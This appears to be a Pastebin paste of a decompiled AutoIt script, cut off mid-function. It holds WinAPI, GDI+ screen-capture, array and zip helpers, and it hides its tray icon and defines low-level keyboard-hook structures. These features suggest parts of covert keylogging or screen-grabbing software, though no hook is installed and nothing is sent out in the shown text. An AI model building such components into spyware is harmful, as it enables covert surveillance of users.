Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- Global Const $gdip_epgcolordepth = "{66087055-AD66-4C7C-9A18-38A2310B8337}"
- Global Const $gdip_epgcompression = "{E09D739D-CCD4-44EE-8EBA-3FBF8BE4FC58}"
- Global Const $gdip_epgquality = "{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"
- Global Const $gdip_eptlong = 4
- Global Const $gdip_evtcompressionlzw = 2
- Global Const $gdip_pxf24rgb = 137224
- Global Const $tagpoint = "struct;long X;long Y;endstruct"
- Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values"
- Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
- Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
- Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
- Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
- Global Const $fo_read = 0
- Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
- Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
- If @error Then Return SetError(@error, @extended, "")
- If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
- Return $aresult
- EndFunc
- Global Const $hgdi_error = Ptr(-1)
- Global Const $invalid_handle_value = Ptr(-1)
- Global Const $wh_keyboard_ll = 13
- Global Const $kf_extended = 256
- Global Const $kf_altdown = 8192
- Global Const $kf_up = 32768
- Global Const $llkhf_extended = BitShift($kf_extended, 8)
- Global Const $llkhf_injected = 16
- Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
- Global Const $llkhf_up = BitShift($kf_up, 8)
- Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
- Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
- Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
- Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
- Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_copyicon($hicon)
- Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createcompatibledc($hdc)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_deletedc($hdc)
- Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_deleteobject($hobject)
- Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_destroyicon($hicon)
- Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
- Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_freelibrary($hmodule)
- Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_getclassname($hwnd)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
- If @error Then Return SetError(@error, @extended, False)
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _winapi_getcursorinfo()
- Local $tcursor = DllStructCreate($tagcursorinfo)
- Local $icursor = DllStructGetSize($tcursor)
- DllStructSetData($tcursor, "Size", $icursor)
- DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
- If @error Then Return SetError(@error, @extended, 0)
- Local $acursor[5]
- $acursor[0] = True
- $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
- $acursor[2] = DllStructGetData($tcursor, "hCursor")
- $acursor[3] = DllStructGetData($tcursor, "X")
- $acursor[4] = DllStructGetData($tcursor, "Y")
- Return $acursor
- EndFunc
- Func _winapi_getdc($hwnd)
- Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getdesktopwindow()
- Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_geticoninfo($hicon)
- Local $tinfo = DllStructCreate($tagiconinfo)
- DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
- If @error Then Return SetError(@error, @extended, 0)
- Local $aicon[6]
- $aicon[0] = True
- $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
- $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
- $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
- $aicon[4] = DllStructGetData($tinfo, "hMask")
- $aicon[5] = DllStructGetData($tinfo, "hColor")
- Return $aicon
- EndFunc
- Func _winapi_getmodulehandle($smodulename)
- Local $smodulenametype = "wstr"
- If $smodulename = "" Then
- $smodulename = 0
- $smodulenametype = "ptr"
- EndIf
- Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getsystemmetrics($iindex)
- Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_guidfromstring($sguid)
- Local $tguid = DllStructCreate($tagguid)
- _winapi_guidfromstringex($sguid, $tguid)
- If @error Then Return SetError(@error, @extended, 0)
- Return $tguid
- EndFunc
- Func _winapi_guidfromstringex($sguid, $pguid)
- Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_isclassname($hwnd, $sclassname)
- Local $sseparator = Opt("GUIDataSeparatorChar")
- Local $aclassname = StringSplit($sclassname, $sseparator)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- Local $sclasscheck = _winapi_getclassname($hwnd)
- For $x = 1 To UBound($aclassname) - 1
- If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
- Next
- Return False
- EndFunc
- Func _winapi_loadlibrary($sfilename)
- Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_releasedc($hwnd, $hdc)
- Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_selectobject($hdc, $hgdiobj)
- Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
- Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_stringfromguid($pguid)
- Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
- If @error Then Return SetError(@error, @extended, "")
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
- Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_unhookwindowshookex($hhk)
- Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
- Local $sunicodetype = "wstr"
- If NOT IsString($punicode) Then $sunicodetype = "struct*"
- Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
- If @error Then Return SetError(@error, @extended, "")
- Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
- $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
- If @error Then Return SetError(@error, @extended, "")
- If $bretstring Then Return DllStructGetData($tmultibyte, 1)
- Return $tmultibyte
- EndFunc
- Global $ghgdipdll = 0
- Global $gigdipref = 0
- Global $gigdiptoken = 0
- Func _gdiplus_bitmapclonearea($hbmp, $ileft, $itop, $iwidth, $iheight, $iformat = 137224)
- Local $aresult = DllCall($ghgdipdll, "int", "GdipCloneBitmapAreaI", "int", $ileft, "int", $itop, "int", $iwidth, "int", $iheight, "int", $iformat, "handle", $hbmp, "ptr*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- Return SetExtended($aresult[0], $aresult[7])
- EndFunc
- Func _gdiplus_bitmapcreatefromhbitmap($hbmp, $hpal = 0)
- Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateBitmapFromHBITMAP", "handle", $hbmp, "handle", $hpal, "ptr*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- Return SetExtended($aresult[0], $aresult[3])
- EndFunc
- Func _gdiplus_encoders()
- Local $icount = _gdiplus_encodersgetcount()
- Local $isize = _gdiplus_encodersgetsize()
- Local $tbuffer = DllStructCreate("byte[" & $isize & "]")
- Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncoders", "uint", $icount, "uint", $isize, "struct*", $tbuffer)
- If @error Then Return SetError(@error, @extended, 0)
- If $aresult[0] <> 0 Then Return SetError($aresult[0], 0, 0)
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $tcodec, $ainfo[$icount + 1][14]
- $ainfo[0][0] = $icount
- For $ii = 1 To $icount
- $tcodec = DllStructCreate($taggdipimagecodecinfo, $pbuffer)
- $ainfo[$ii][1] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "CLSID"))
- $ainfo[$ii][2] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "FormatID"))
- $ainfo[$ii][3] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "CodecName"))
- $ainfo[$ii][4] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "DllName"))
- $ainfo[$ii][5] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FormatDesc"))
- $ainfo[$ii][6] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FileExt"))
- $ainfo[$ii][7] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "MimeType"))
- $ainfo[$ii][8] = DllStructGetData($tcodec, "Flags")
- $ainfo[$ii][9] = DllStructGetData($tcodec, "Version")
- $ainfo[$ii][10] = DllStructGetData($tcodec, "SigCount")
- $ainfo[$ii][11] = DllStructGetData($tcodec, "SigSize")
- $ainfo[$ii][12] = DllStructGetData($tcodec, "SigPattern")
- $ainfo[$ii][13] = DllStructGetData($tcodec, "SigMask")
- $pbuffer += DllStructGetSize($tcodec)
- Next
- Return $ainfo
- EndFunc
- Func _gdiplus_encodersgetclsid($sfileext)
- Local $aencoders = _gdiplus_encoders()
- For $ii = 1 To $aencoders[0][0]
- If StringInStr($aencoders[$ii][6], "*." & $sfileext) > 0 Then Return $aencoders[$ii][1]
- Next
- Return SetError(-1, -1, "")
- EndFunc
- Func _gdiplus_encodersgetcount()
- Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0)
- If @error Then Return SetError(@error, @extended, -1)
- Return SetExtended($aresult[0], $aresult[1])
- EndFunc
- Func _gdiplus_encodersgetsize()
- Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0)
- If @error Then Return SetError(@error, @extended, -1)
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _gdiplus_imagedispose($himage)
- Local $aresult = DllCall($ghgdipdll, "int", "GdipDisposeImage", "handle", $himage)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] = 0
- EndFunc
- Func _gdiplus_imagegetheight($himage)
- Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageHeight", "handle", $himage, "uint*", 0)
- If @error Then Return SetError(@error, @extended, -1)
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _gdiplus_imagegetwidth($himage)
- Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageWidth", "handle", $himage, "uint*", -1)
- If @error Then Return SetError(@error, @extended, -1)
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _gdiplus_imagesavetofileex($himage, $sfilename, $sencoder, $pparams = 0)
- Local $tguid = _winapi_guidfromstring($sencoder)
- Local $aresult = DllCall($ghgdipdll, "int", "GdipSaveImageToFile", "handle", $himage, "wstr", $sfilename, "struct*", $tguid, "struct*", $pparams)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] = 0
- EndFunc
- Func _gdiplus_paramadd(ByRef $tparams, $sguid, $icount, $itype, $pvalues)
- Local $tparam = DllStructCreate($taggdipencoderparam, DllStructGetPtr($tparams, "Params") + (DllStructGetData($tparams, "Count") * 28))
- _winapi_guidfromstringex($sguid, DllStructGetPtr($tparam, "GUID"))
- DllStructSetData($tparam, "Type", $itype)
- DllStructSetData($tparam, "Count", $icount)
- DllStructSetData($tparam, "Values", $pvalues)
- DllStructSetData($tparams, "Count", DllStructGetData($tparams, "Count") + 1)
- EndFunc
- Func _gdiplus_paraminit($icount)
- If $icount <= 0 Then Return SetError(-1, -1, 0)
- Return DllStructCreate("dword Count;byte Params[" & $icount * 28 & "]")
- EndFunc
- Func _gdiplus_shutdown()
- If $ghgdipdll = 0 Then Return SetError(-1, -1, False)
- $gigdipref -= 1
- If $gigdipref = 0 Then
- DllCall($ghgdipdll, "none", "GdiplusShutdown", "ptr", $gigdiptoken)
- DllClose($ghgdipdll)
- $ghgdipdll = 0
- EndIf
- Return True
- EndFunc
- Func _gdiplus_startup()
- $gigdipref += 1
- If $gigdipref > 1 Then Return True
- $ghgdipdll = DllOpen("GDIPlus.dll")
- If $ghgdipdll = -1 Then
- $gigdipref = 0
- Return SetError(1, 2, False)
- EndIf
- Local $tinput = DllStructCreate($taggdipstartupinput)
- Local $ttoken = DllStructCreate("ulong_ptr Data")
- DllStructSetData($tinput, "Version", 1)
- Local $aresult = DllCall($ghgdipdll, "int", "GdiplusStartup", "struct*", $ttoken, "struct*", $tinput, "ptr", 0)
- If @error Then Return SetError(@error, @extended, False)
- $gigdiptoken = DllStructGetData($ttoken, "Data")
- Return $aresult[0] = 0
- EndFunc
- Func __gdiplus_extractfileext($sfilename, $fnodot = True)
- Local $iindex = __gdiplus_lastdelimiter(".\:", $sfilename)
- If ($iindex > 0) AND (StringMid($sfilename, $iindex, 1) = ".") Then
- If $fnodot Then
- Return StringMid($sfilename, $iindex + 1)
- Else
- Return StringMid($sfilename, $iindex)
- EndIf
- Else
- Return ""
- EndIf
- EndFunc
- Func __gdiplus_lastdelimiter($sdelimiters, $sstring)
- Local $sdelimiter, $in
- For $ii = 1 To StringLen($sdelimiters)
- $sdelimiter = StringMid($sdelimiters, $ii, 1)
- $in = StringInStr($sstring, $sdelimiter, 0, -1)
- If $in > 0 Then Return $in
- Next
- EndFunc
- Global $gibmpformat = $gdip_pxf24rgb
- Global $gijpgquality = 100
- Global $gitifcolordepth = 24
- Global $gitifcompression = $gdip_evtcompressionlzw
- Global Const $__screencaptureconstant_sm_cxscreen = 0
- Global Const $__screencaptureconstant_sm_cyscreen = 1
- Global Const $__screencaptureconstant_srccopy = 13369376
- Func _screencapture_capture($sfilename = "", $ileft = 0, $itop = 0, $iright = -1, $ibottom = -1, $fcursor = True)
- If $iright = -1 Then $iright = _winapi_getsystemmetrics($__screencaptureconstant_sm_cxscreen)
- If $ibottom = -1 Then $ibottom = _winapi_getsystemmetrics($__screencaptureconstant_sm_cyscreen)
- If $iright < $ileft Then Return SetError(-1, 0, 0)
- If $ibottom < $itop Then Return SetError(-2, 0, 0)
- Local $iw = ($iright - $ileft) + 1
- Local $ih = ($ibottom - $itop) + 1
- Local $hwnd = _winapi_getdesktopwindow()
- Local $hddc = _winapi_getdc($hwnd)
- Local $hcdc = _winapi_createcompatibledc($hddc)
- Local $hbmp = _winapi_createcompatiblebitmap($hddc, $iw, $ih)
- _winapi_selectobject($hcdc, $hbmp)
- _winapi_bitblt($hcdc, 0, 0, $iw, $ih, $hddc, $ileft, $itop, $__screencaptureconstant_srccopy)
- If $fcursor Then
- Local $acursor = _winapi_getcursorinfo()
- If $acursor[1] Then
- Local $hicon = _winapi_copyicon($acursor[2])
- Local $aicon = _winapi_geticoninfo($hicon)
- _winapi_deleteobject($aicon[4])
- If $aicon[5] <> 0 Then _winapi_deleteobject($aicon[5])
- _winapi_drawicon($hcdc, $acursor[3] - $aicon[2] - $ileft, $acursor[4] - $aicon[3] - $itop, $hicon)
- _winapi_destroyicon($hicon)
- EndIf
- EndIf
- _winapi_releasedc($hwnd, $hddc)
- _winapi_deletedc($hcdc)
- If $sfilename = "" Then Return $hbmp
- Local $ret = _screencapture_saveimage($sfilename, $hbmp, True)
- Return SetError(@error, @extended, $ret)
- EndFunc
- Func _screencapture_saveimage($sfilename, $hbitmap, $ffreebmp = True)
- _gdiplus_startup()
- If @error Then Return SetError(-1, -1, False)
- Local $sext = StringUpper(__gdiplus_extractfileext($sfilename))
- Local $sclsid = _gdiplus_encodersgetclsid($sext)
- If $sclsid = "" Then Return SetError(-2, -2, False)
- Local $himage = _gdiplus_bitmapcreatefromhbitmap($hbitmap)
- If @error Then Return SetError(-3, -3, False)
- Local $tdata, $tparams
- Switch $sext
- Case "BMP"
- Local $ix = _gdiplus_imagegetwidth($himage)
- Local $iy = _gdiplus_imagegetheight($himage)
- Local $hclone = _gdiplus_bitmapclonearea($himage, 0, 0, $ix, $iy, $gibmpformat)
- _gdiplus_imagedispose($himage)
- $himage = $hclone
- Case "JPG", "JPEG"
- $tparams = _gdiplus_paraminit(1)
- $tdata = DllStructCreate("int Quality")
- DllStructSetData($tdata, "Quality", $gijpgquality)
- _gdiplus_paramadd($tparams, $gdip_epgquality, 1, $gdip_eptlong, DllStructGetPtr($tdata))
- Case "TIF", "TIFF"
- $tparams = _gdiplus_paraminit(2)
- $tdata = DllStructCreate("int ColorDepth;int Compression")
- DllStructSetData($tdata, "ColorDepth", $gitifcolordepth)
- DllStructSetData($tdata, "Compression", $gitifcompression)
- _gdiplus_paramadd($tparams, $gdip_epgcolordepth, 1, $gdip_eptlong, DllStructGetPtr($tdata, "ColorDepth"))
- _gdiplus_paramadd($tparams, $gdip_epgcompression, 1, $gdip_eptlong, DllStructGetPtr($tdata, "Compression"))
- EndSwitch
- Local $pparams = 0
- If IsDllStruct($tparams) Then $pparams = $tparams
- Local $iret = _gdiplus_imagesavetofileex($himage, $sfilename, $sclsid, $pparams)
- _gdiplus_imagedispose($himage)
- If $ffreebmp Then _winapi_deleteobject($hbitmap)
- _gdiplus_shutdown()
- Return SetError($iret = False, 0, $iret = True)
- EndFunc
- Func _screencapture_setjpgquality($iquality)
- If $iquality < 0 Then $iquality = 0
- If $iquality > 100 Then $iquality = 100
- $gijpgquality = $iquality
- EndFunc
- Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1)
- Local $s_case = ""
- If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)"
- Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
- $s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1")
- $s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1")
- If $s_start = "" Then $s_start = "\A"
- If $s_end = "" Then $s_end = "\z"
- Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3)
- If @error Then Return SetError(1, 0, 0)
- Return $a_ret
- EndFunc
- Func _arrayadd(ByRef $avarray, $vvalue)
- If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
- If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1)
- Local $iubound = UBound($avarray)
- ReDim $avarray[$iubound + 1]
- $avarray[$iubound] = $vvalue
- Return $iubound
- EndFunc
- Func _arraydelete(ByRef $avarray, $ielement)
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- Local $iubound = UBound($avarray, 1) - 1
- If NOT $iubound Then
- $avarray = ""
- Return 0
- EndIf
- If $ielement < 0 Then $ielement = 0
- If $ielement > $iubound Then $ielement = $iubound
- Switch UBound($avarray, 0)
- Case 1
- For $i = $ielement To $iubound - 1
- $avarray[$i] = $avarray[$i + 1]
- Next
- ReDim $avarray[$iubound]
- Case 2
- Local $isubmax = UBound($avarray, 2) - 1
- For $i = $ielement To $iubound - 1
- For $j = 0 To $isubmax
- $avarray[$i][$j] = $avarray[$i + 1][$j]
- Next
- Next
- ReDim $avarray[$iubound][$isubmax + 1]
- Case Else
- Return SetError(3, 0, 0)
- EndSwitch
- Return $iubound
- EndFunc
- Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1)
- If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
- If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1)
- Local $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(4, 0, -1)
- Local $istep = 1
- If NOT $iforward Then
- Local $itmp = $istart
- $istart = $iend
- $iend = $itmp
- $istep = -1
- EndIf
- Local $icomptype = False
- If $icompare = 2 Then
- $icompare = 0
- $icomptype = True
- EndIf
- Switch UBound($avarray, 0)
- Case 1
- If NOT $icompare Then
- If NOT $icase Then
- For $i = $istart To $iend Step $istep
- If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
- If $avarray[$i] = $vvalue Then Return $i
- Next
- Else
- For $i = $istart To $iend Step $istep
- If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
- If $avarray[$i] == $vvalue Then Return $i
- Next
- EndIf
- Else
- For $i = $istart To $iend Step $istep
- If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i
- Next
- EndIf
- Case 2
- Local $iuboundsub = UBound($avarray, 2) - 1
- If $isubitem > $iuboundsub Then $isubitem = $iuboundsub
- If $isubitem < 0 Then
- $isubitem = 0
- Else
- $iuboundsub = $isubitem
- EndIf
- For $j = $isubitem To $iuboundsub
- If NOT $icompare Then
- If NOT $icase Then
- For $i = $istart To $iend Step $istep
- If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
- If $avarray[$i][$j] = $vvalue Then Return $i
- Next
- Else
- For $i = $istart To $iend Step $istep
- If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
- If $avarray[$i][$j] == $vvalue Then Return $i
- Next
- EndIf
- Else
- For $i = $istart To $iend Step $istep
- If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i
- Next
- EndIf
- Next
- Case Else
- Return SetError(7, 0, -1)
- EndSwitch
- Return SetError(6, 0, -1)
- EndFunc
- Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0)
- If NOT IsArray($avarray) Then Return SetError(1, 0, "")
- If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "")
- Local $sresult, $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(2, 0, "")
- For $i = $istart To $iend
- $sresult &= $avarray[$i] & $sdelim
- Next
- Return StringTrimRight($sresult, StringLen($sdelim))
- EndFunc
- If UBound($cmdline) > 1 Then
- If $cmdline[1] <> "" Then _zip_virtualzipopen()
- EndIf
- Func _zip_create($hfilename)
- $hfp = FileOpen($hfilename, 26)
- $sstring = Chr(80) & Chr(75) & Chr(5) & Chr(6) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0)
- FileWrite($hfp, $sstring)
- If @error Then Return SetError(1, 0, 0)
- FileClose($hfp)
- While NOT FileExists($hfilename)
- Sleep(10)
- WEnd
- Return $hfilename
- EndFunc
- Func _zip_addfile($hzipfile, $hfile2add, $flag = 1)
- Local $dllchk = _zip_dllchk()
- Local $files = _zip_count($hzipfile)
- If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
- If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
- If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
- $oapp = ObjCreate("Shell.Application")
- $copy = $oapp.namespace($hzipfile).copyhere($hfile2add)
- While 1
- If $flag = 1 Then _hide()
- If _zip_count($hzipfile) = ($files + 1) Then ExitLoop
- Sleep(10)
- WEnd
- Return SetError(0, 0, 1)
- EndFunc
- Func _zip_addfolder($hzipfile, $hfolder, $flag = 1)
- Local $dllchk = _zip_dllchk()
- If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
- If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
- If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
- If StringRight($hfolder, 1) <> "\" Then $hfolder &= "\"
- $files = _zip_count($hzipfile)
- $oapp = ObjCreate("Shell.Application")
- $ocopy = $oapp.namespace($hzipfile).copyhere($oapp.namespace($hfolder))
- While 1
- If $flag = 1 Then _hide()
- If _zip_count($hzipfile) = ($files + 1) Then ExitLoop
- Sleep(10)
- WEnd
- Return SetError(0, 0, 1)
- EndFunc
- Func _zip_unzip($hzipfile, $hfilename, $hdestpath, $flag = 1)
- Local $dllchk = _zip_dllchk()
- If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
- If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
- If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
- If NOT FileExists($hdestpath) Then DirCreate($hdestpath)
- $oapp = ObjCreate("Shell.Application")
- $hfolderitem = $oapp.namespace($hzipfile).parsename($hfilename)
- $oapp.namespace($hdestpath).copyhere($hfolderitem)
- While 1
- If $flag = 1 Then _hide()
- If FileExists($hdestpath & "\" & $hfilename) Then
- Return SetError(0, 0, 1)
- ExitLoop
- EndIf
- Sleep(500)
- WEnd
- EndFunc
- Func _zip_count($hzipfile)
- Local $dllchk = _zip_dllchk()
- If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
- If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
- If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
- $items = _zip_list($hzipfile)
- Return UBound($items) - 1
- EndFunc
- Func _zip_list($hzipfile)
- Local $aarray[1]
- Local $dllchk = _zip_dllchk()
- If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
- If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
- If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
